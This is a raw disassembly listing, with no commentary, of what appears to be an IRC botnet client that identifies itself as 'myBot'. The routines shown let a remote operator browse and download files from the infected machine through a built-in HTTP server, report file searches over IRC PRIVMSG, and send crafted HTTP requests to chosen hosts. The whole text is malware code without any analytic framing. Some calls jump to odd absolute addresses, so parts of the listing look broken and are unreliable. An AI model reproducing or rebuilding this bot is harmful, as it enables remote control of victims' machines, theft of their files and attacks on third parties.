		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		jnz	short loc_40F614
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_41B886
		add	esp, 24h
		jmp	short loc_40F635
; ---------------------------------------------------------------------------


loc_40F614:				; CODE XREF: sub_40F530+C5j
		push	[ebp+var_B8]
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_41B886
		add	esp, 28h


loc_40F635:				; CODE XREF: sub_40F530+E2j
		lea	eax, [ebp+var_1654]
		push	edi
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1654]
		push	eax
		push	[ebp+var_44C]
		call	dword_4CB674
		cmp	[ebp+var_A4], edi
		jnz	short loc_40F675
		lea	eax, [ebp+var_550]
		push	eax
		push	[ebp+var_44C]
		call	sub_40FFF0
		pop	ecx
		pop	ecx
		jmp	short loc_40F692
; ---------------------------------------------------------------------------


loc_40F675:				; CODE XREF: sub_40F530+12Dj
		lea	eax, [ebp+var_654]
		push	eax
		push	edi
		push	[ebp+var_44C]
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_40F96A
		add	esp, 10h


loc_40F692:				; CODE XREF: sub_40F530+143j
		push	[ebp+var_44C]
		call	dword_4CB6BC
		push	[ebp+var_B4]
		call	sub_40B412
		pop	ecx
		push	edi
		nop
		call	near ptr 26D0000h
		pop	edi
		pop	esi
sub_40F530	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F6B3	proc near		; CODE XREF: sub_40F0D5+3C0p

var_8C4		= byte ptr -8C4h
var_6C4		= dword	ptr -6C4h
var_640		= byte ptr -640h
var_53C		= byte ptr -53Ch
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_31C		= dword	ptr -31Ch
var_318		= dword	ptr -318h
var_314		= byte ptr -314h
var_211		= byte ptr -211h
var_210		= byte ptr -210h
var_10C		= byte ptr -10Ch
var_10B		= byte ptr -10Bh
var_10A		= byte ptr -10Ah
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 8C4h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	104h
		lea	eax, [ebp+var_210]
		push	edi
		push	eax
		mov	[ebp+var_4], edi
		call	sub_41B590
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		cmp	byte ptr [eax],	2Fh
		jz	short loc_40F6E9
		push	eax
		push	offset aS_4	; "\\%s"
		jmp	short loc_40F6F2
; ---------------------------------------------------------------------------


loc_40F6E9:				; CODE XREF: sub_40F6B3+2Cj
		push	eax
		mov	byte ptr [eax],	5Ch
		push	offset aS_2	; "%s"


loc_40F6F2:				; CODE XREF: sub_40F6B3+34j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_10C]
		xor	esi, esi
		xor	ebx, ebx
		push	eax
		call	sub_41AFE0
		test	eax, eax
		pop	ecx
		jbe	short loc_40F78D
		mov	[ebp+arg_8], 2


loc_40F71D:				; CODE XREF: sub_40F6B3+D8j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41AFE0
		cmp	[ebp+arg_8], eax
		pop	ecx
		jnb	short loc_40F75D
		cmp	[ebp+esi+var_10C], 25h
		jnz	short loc_40F75D
		cmp	[ebp+esi+var_10B], 32h
		jnz	short loc_40F75D
		cmp	[ebp+esi+var_10A], 30h
		jnz	short loc_40F75D
		inc	esi
		mov	[ebp+ebx+var_210], 20h
		inc	esi
		add	[ebp+arg_8], 2
		jmp	short loc_40F777
; ---------------------------------------------------------------------------


loc_40F75D:				; CODE XREF: sub_40F6B3+7Aj
					; sub_40F6B3+84j ...
		mov	al, [ebp+esi+var_10C]
		cmp	al, 2Fh
		jnz	short loc_40F76D
		push	5Ch
		pop	eax
		jmp	short loc_40F770
; ---------------------------------------------------------------------------


loc_40F76D:				; CODE XREF: sub_40F6B3+B3j
		movsx	eax, al


loc_40F770:				; CODE XREF: sub_40F6B3+B8j
		mov	[ebp+ebx+var_210], al


loc_40F777:				; CODE XREF: sub_40F6B3+A8j
		lea	eax, [ebp+var_10C]
		inc	esi
		inc	[ebp+arg_8]
		push	eax
		inc	ebx
		call	sub_41AFE0
		cmp	esi, eax
		pop	ecx
		jb	short loc_40F71D


loc_40F78D:				; CODE XREF: sub_40F6B3+61j
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_314]
		push	[ebp+arg_4]
		push	offset dword_429A94
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_314]
		push	offset asc_42A068 ; "\n"
		push	eax
		call	sub_41C0F4
		add	esp, 18h
		lea	eax, [ebp+var_314]
		push	eax
		call	near ptr 26803E7h
		nop
		push	1
		cmp	eax, 10h
		pop	esi
		jz	short loc_40F7DE
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40F7E1
		push	[ebp+arg_0]
		jmp	loc_40F861
; ---------------------------------------------------------------------------


loc_40F7DE:				; CODE XREF: sub_40F6B3+11Cj
		mov	[ebp+var_4], esi


loc_40F7E1:				; CODE XREF: sub_40F6B3+121j
		cmp	[ebp+ebx+var_211], 5Ch
		jnz	short loc_40F7EE
		mov	[ebp+var_4], esi


loc_40F7EE:				; CODE XREF: sub_40F6B3+136j
		mov	ebx, [ebp+arg_0]
		cmp	[ebp+var_4], edi
		mov	[ebp+var_6C4], ebx
		mov	[ebp+var_318], edi
		jz	short loc_40F86C
		cmp	[ebp+arg_C], edi
		jz	short loc_40F860
		lea	eax, [ebp+var_314]
		push	offset asc_434168 ; "*"
		push	eax
		call	sub_41BEC0
		pop	ecx
		lea	eax, [ebp+var_314]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_4100AD
		add	esp, 0Ch
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_53C]
		push	eax
		call	sub_41B886
		or	[ebp+var_330], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		mov	[ebp+var_31C], esi
		jmp	short loc_40F8BB
; ---------------------------------------------------------------------------


loc_40F860:				; CODE XREF: sub_40F6B3+152j
		push	ebx


loc_40F861:				; CODE XREF: sub_40F6B3+126j
		call	dword_4CB6BC
		jmp	loc_40F963
; ---------------------------------------------------------------------------


loc_40F86C:				; CODE XREF: sub_40F6B3+14Dj
		push	edi
		push	edi
		push	3
		push	edi
		push	esi
		lea	eax, [ebp+var_314]
		push	80000000h
		push	eax
		nop
		call	near ptr 26F0864h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40F8BB
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_41B886
		pop	ecx
		mov	[ebp+var_31C], edi
		pop	ecx
		push	edi
		push	esi
		nop
		call	near ptr 2730B64h
		push	esi
		mov	[ebp+var_330], eax
		nop
		call	near ptr 2650937h


loc_40F8BB:				; CODE XREF: sub_40F6B3+1ABj
					; sub_40F6B3+1D6j
		mov	esi, [ebp+arg_10]
		lea	eax, [ebp+var_8C4]
		push	esi
		push	offset unk_434134
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp+var_8C4]
		push	3
		push	eax
		call	sub_40B0F6
		mov	[ebp+var_32C], eax
		imul	eax, 234h
		add	esp, 18h
		mov	dword_43E564[eax], esi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_6C4]
		push	edi
		push	eax
		push	offset sub_40F530
		push	edi
		push	edi
		nop
		call	near ptr 2670579h
		mov	ecx, [ebp+var_32C]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43E574[ecx], eax
		jz	short loc_40F935


loc_40F923:				; CODE XREF: sub_40F6B3+280j
		cmp	[ebp+var_318], edi
		jnz	short loc_40F963
		push	5
		nop
		call	near ptr 2670535h
		jmp	short loc_40F923
; ---------------------------------------------------------------------------


loc_40F935:				; CODE XREF: sub_40F6B3+26Ej
		push	ebx
		call	dword_4CB6BC
		nop
		call	near ptr 2670E94h
		push	eax
		lea	eax, [ebp+var_8C4]
		push	offset unk_4340FC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_8C4]
		push	eax
		call	sub_4151AC
		add	esp, 10h


loc_40F963:				; CODE XREF: sub_40F6B3+1B4j
					; sub_40F6B3+276j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_40F6B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F96A	proc near		; CODE XREF: sub_401ACD+777Ap
					; sub_40F530+15Ap

var_594		= byte ptr -594h
var_490		= byte ptr -490h
var_388		= dword	ptr -388h
var_374		= byte ptr -374h
var_368		= dword	ptr -368h
var_35C		= byte ptr -35Ch
var_248		= byte ptr -248h
var_48		= byte ptr -48h
var_20		= byte ptr -20h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_12		= word ptr -12h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 594h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	104h
		lea	eax, [ebp+var_594]
		push	ebx
		push	eax
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		call	sub_41B590
		mov	edi, [ebp+arg_0]
		push	offset asc_42A068 ; "\n"
		push	edi
		call	sub_41C0F4
		add	esp, 14h
		cmp	[ebp+arg_8], ebx
		jz	short loc_40F9C9
		push	edi
		mov	esi, 200h
		push	[ebp+arg_8]
		lea	eax, [ebp+var_248]
		push	offset aPrivmsgSSearch ; "PRIVMSG %s :Searching	for: %s\r\n"
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	loc_40FAC8
; ---------------------------------------------------------------------------


loc_40F9C9:				; CODE XREF: sub_40F96A+3Aj
		cmp	[ebp+arg_C], ebx
		push	edi
		jz	loc_40FAAE
		call	sub_41AFE0
		pop	ecx
		mov	[eax+edi-1], bl
		push	edi
		mov	esi, 200h
		push	offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB674
		push	edi
		push	offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB674
		push	edi
		call	sub_41AFE0
		pop	ecx
		mov	byte ptr [eax+edi], 2Ah
		push	3Ch
		push	96h
		push	0E6h
		push	offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 18h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB674
		push	offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_40FAC8
; ---------------------------------------------------------------------------


loc_40FAAE:				; CODE XREF: sub_40F96A+63j
		mov	esi, 200h
		push	offset aSearchingForS ;	"Searching for:	%s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h


loc_40FAC8:				; CODE XREF: sub_40F96A+5Aj
					; sub_40F96A+142j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB674
		cmp	[ebp+arg_C], ebx
		jz	short loc_40FB63
		push	[ebp+arg_C]
		call	sub_41AFE0
		cmp	eax, 2
		pop	ecx
		jbe	short loc_40FB63
		push	[ebp+arg_C]
		call	sub_41AFE0
		sub	eax, 3
		pop	ecx
		jz	short loc_40FB14


loc_40FB08:				; CODE XREF: sub_40F96A+1A8j
		mov	ecx, [ebp+arg_C]
		cmp	byte ptr [eax+ecx], 2Fh
		jz	short loc_40FB14
		dec	eax
		jnz	short loc_40FB08


loc_40FB14:				; CODE XREF: sub_40F96A+19Cj
					; sub_40F96A+1A5j
		inc	eax
		push	eax
		lea	eax, [ebp+var_594]
		push	[ebp+arg_C]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch
		lea	eax, [ebp+var_594]
		push	eax
		push	offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB674


loc_40FB63:				; CODE XREF: sub_40F96A+180j
					; sub_40F96A+18Ej
		lea	eax, [ebp+var_388]
		push	eax
		push	edi
		call	near ptr 25C0000h
		nop
		lea	ecx, [ebp+var_388]
		mov	[ebp+arg_0], eax
		push	ecx
		push	eax
		nop
		call	near ptr 2750452h
		test	eax, eax
		jz	loc_40FF53
		mov	edi, 1FFh


loc_40FB8F:				; CODE XREF: sub_40F96A+5E3j
		cmp	[ebp+var_388], ebx
		jz	loc_40FF3B
		lea	eax, [ebp+var_35C]
		push	offset a__	; ".."
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FF3B
		lea	eax, [ebp+var_35C]
		push	offset a_	; "."
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FF3B
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_374]
		push	eax
		call	near ptr 2750000h
		nop
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		nop
		call	near ptr 2740814h
		mov	ax, [ebp+var_10]
		mov	ecx, offset aPm	; "PM"
		cmp	ax, 0Ch
		ja	short loc_40FC04
		mov	ecx, offset aAm	; "AM"


loc_40FC04:				; CODE XREF: sub_40F96A+293j
		cmp	ax, 0Ch
		movzx	eax, ax
		jbe	short loc_40FC10
		sub	eax, 0Ch


loc_40FC10:				; CODE XREF: sub_40F96A+2A1j
		push	ecx
		movzx	ecx, [ebp+var_E]
		push	ecx
		push	eax
		movzx	eax, [ebp+var_18]
		push	eax
		movzx	eax, [ebp+var_12]
		push	eax
		movzx	eax, [ebp+var_16]
		push	eax
		lea	eax, [ebp+var_48]
		push	offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d  %2.2d:%2.2d %s"
		push	eax
		call	sub_41B886
		add	esp, 20h
		test	byte ptr [ebp+var_388],	10h
		jz	loc_40FDB3
		inc	[ebp+var_8]
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FC84
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s  %-21s\n"
		jmp	loc_40FEFC
; ---------------------------------------------------------------------------


loc_40FC84:				; CODE XREF: sub_40F96A+2E0j
		cmp	[ebp+arg_C], ebx
		jz	loc_40FD6E
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB674
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset aSS_0	; "%s%s/"
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB674
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_41AFE0
		cmp	eax, 1Eh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_40FD24
		push	offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
		jmp	short loc_40FD29
; ---------------------------------------------------------------------------


loc_40FD24:				; CODE XREF: sub_40F96A+3B1j
		push	offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"


loc_40FD29:				; CODE XREF: sub_40F96A+3B8j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB674
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_40FEFD
; ---------------------------------------------------------------------------


loc_40FD6E:				; CODE XREF: sub_40F96A+31Dj
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	offset a31s21s	; "%-31s  %-21s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	loc_40FF0C
; ---------------------------------------------------------------------------


loc_40FDB3:				; CODE XREF: sub_40F96A+2D4j
		inc	[ebp+var_4]
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FDF2
		push	ebx
		push	[ebp+var_368]
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s  %-21s (%s bytes)\n"
		push	esi


loc_40FDDE:				; CODE XREF: sub_40F96A+577j
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41B980
		add	esp, 1Ch
		jmp	loc_40FF0C
; ---------------------------------------------------------------------------


loc_40FDF2:				; CODE XREF: sub_40F96A+44Fj
		cmp	[ebp+arg_C], ebx
		jz	loc_40FEE6
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB674
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset dword_429A94
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB674
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_41AFE0
		cmp	eax, 1Fh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_40FE92
		push	offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
		jmp	short loc_40FE97
; ---------------------------------------------------------------------------


loc_40FE92:				; CODE XREF: sub_40F96A+51Fj
		push	offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"


loc_40FE97:				; CODE XREF: sub_40F96A+526j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB674
		mov	eax, [ebp+var_368]
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_40FDDE
; ---------------------------------------------------------------------------


loc_40FEE6:				; CODE XREF: sub_40F96A+48Bj
		push	[ebp+var_368]
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset a31s21sIBytes ; "%-31s  %-21s (%i bytes)\r\n"


loc_40FEFC:				; CODE XREF: sub_40F96A+315j
		push	esi


loc_40FEFD:				; CODE XREF: sub_40F96A+3FFj
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41B980
		add	esp, 18h


loc_40FF0C:				; CODE XREF: sub_40F96A+444j
					; sub_40F96A+483j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB674
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FF3B
		push	7D0h
		nop
		call	near ptr 2670535h


loc_40FF3B:				; CODE XREF: sub_40F96A+22Bj
					; sub_40F96A+246j ...
		lea	eax, [ebp+var_388]
		push	eax
		push	[ebp+arg_0]
		nop
		call	near ptr 2750452h
		test	eax, eax
		jnz	loc_40FB8F


loc_40FF53:				; CODE XREF: sub_40F96A+21Aj
		push	[ebp+arg_0]
		nop
		call	near ptr 2740000h
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FF96
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_4]
		cdq
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
		push	eax
		call	sub_41B886
		add	esp, 14h
		jmp	short loc_40FFCA
; ---------------------------------------------------------------------------


loc_40FF96:				; CODE XREF: sub_40F96A+5F5j
		cmp	[ebp+arg_C], ebx
		jz	short loc_40FFB0
		lea	eax, [ebp+var_248]
		push	offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	short loc_40FFCA
; ---------------------------------------------------------------------------


loc_40FFB0:				; CODE XREF: sub_40F96A+62Fj
		push	[ebp+var_8]
		lea	eax, [ebp+var_248]
		push	[ebp+var_4]
		push	offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
		push	eax
		call	sub_41B886
		add	esp, 10h


loc_40FFCA:				; CODE XREF: sub_40F96A+62Aj
					; sub_40F96A+644j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB674
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_40F96A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FFF0	proc near		; CODE XREF: sub_40F530+13Cp

var_404		= byte ptr -404h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	3
		push	esi
		push	1
		push	80000000h
		push	[ebp+arg_4]
		mov	edi, 400h
		mov	[ebp+var_4], esi
		nop
		call	near ptr 26F0864h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_4100A8
		push	esi
		push	ebx
		nop
		call	near ptr 2730B64h
		cmp	eax, esi
		mov	[ebp+arg_4], eax
		jz	short loc_4100A1


loc_410035:				; CODE XREF: sub_40FFF0+AFj
		push	400h
		lea	eax, [ebp+var_404]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		cmp	edi, [ebp+arg_4]


loc_41004D:				; DATA XREF: ___:004380F0o
					; ___:00438104o
		jbe	short loc_410052
		mov	edi, [ebp+arg_4]


loc_410052:				; CODE XREF: sub_40FFF0:loc_41004Dj
		mov	eax, [ebp+arg_4]
		push	2
		neg	eax
		push	esi
		push	eax
		push	ebx
		call	near ptr 2760000h
		nop
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	ebx
		nop
		call	near ptr 26F0000h
		push	esi
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB674
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41009C
		call	dword_4CB5B8
		cmp	eax, 2733h
		jnz	short loc_4100A1
		xor	eax, eax


loc_41009C:				; CODE XREF: sub_40FFF0+9Bj
		sub	[ebp+arg_4], eax
		jnz	short loc_410035


loc_4100A1:				; CODE XREF: sub_40FFF0+43j
					; sub_40FFF0+A8j
		push	ebx
		nop
		call	near ptr 2650937h


loc_4100A8:				; CODE XREF: sub_40FFF0+30j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40FFF0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4100AD	proc near		; CODE XREF: sub_40F6B3+181p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		push	edi
		call	sub_41AFE0
		test	eax, eax
		pop	ecx
		jbe	short loc_4100D6


loc_4100C0:				; CODE XREF: sub_4100AD+27j
		cmp	byte ptr [esi+edi], 5Ch
		jnz	short loc_4100CA
		mov	byte ptr [esi+edi], 2Fh


loc_4100CA:				; CODE XREF: sub_4100AD+17j
		push	edi
		inc	esi
		call	sub_41AFE0
		cmp	esi, eax
		pop	ecx
		jb	short loc_4100C0


loc_4100D6:				; CODE XREF: sub_4100AD+11j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_4100AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4100DB	proc near		; CODE XREF: sub_401ACD+5297p

var_4A0		= byte ptr -4A0h
var_310		= byte ptr -310h
var_110		= byte ptr -110h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 4A0h
		push	ebx
		lea	eax, [ebp+var_4A0]
		push	edi
		push	eax
		push	101h
		call	dword_4CB594
		push	6
		push	1
		push	2
		call	dword_4CB6A4
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_14]
		call	dword_4CB624
		push	[ebp+arg_10]
		mov	[ebp+var_E], ax
		call	sub_40AAF9
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB5CC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4101B8
		mov	eax, [ebp+arg_20]
		cmp	eax, edi
		jnz	short loc_410154
		mov	eax, offset dword_43D7D8


loc_410154:				; CODE XREF: sub_4100DB+72j
		push	esi
		mov	esi, 100h
		push	[ebp+arg_10]
		push	eax
		lea	eax, [ebp+var_110]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	offset aSSHttp1_1Refer ; "%s %s	HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
		push	esi
		push	eax
		call	sub_41B980
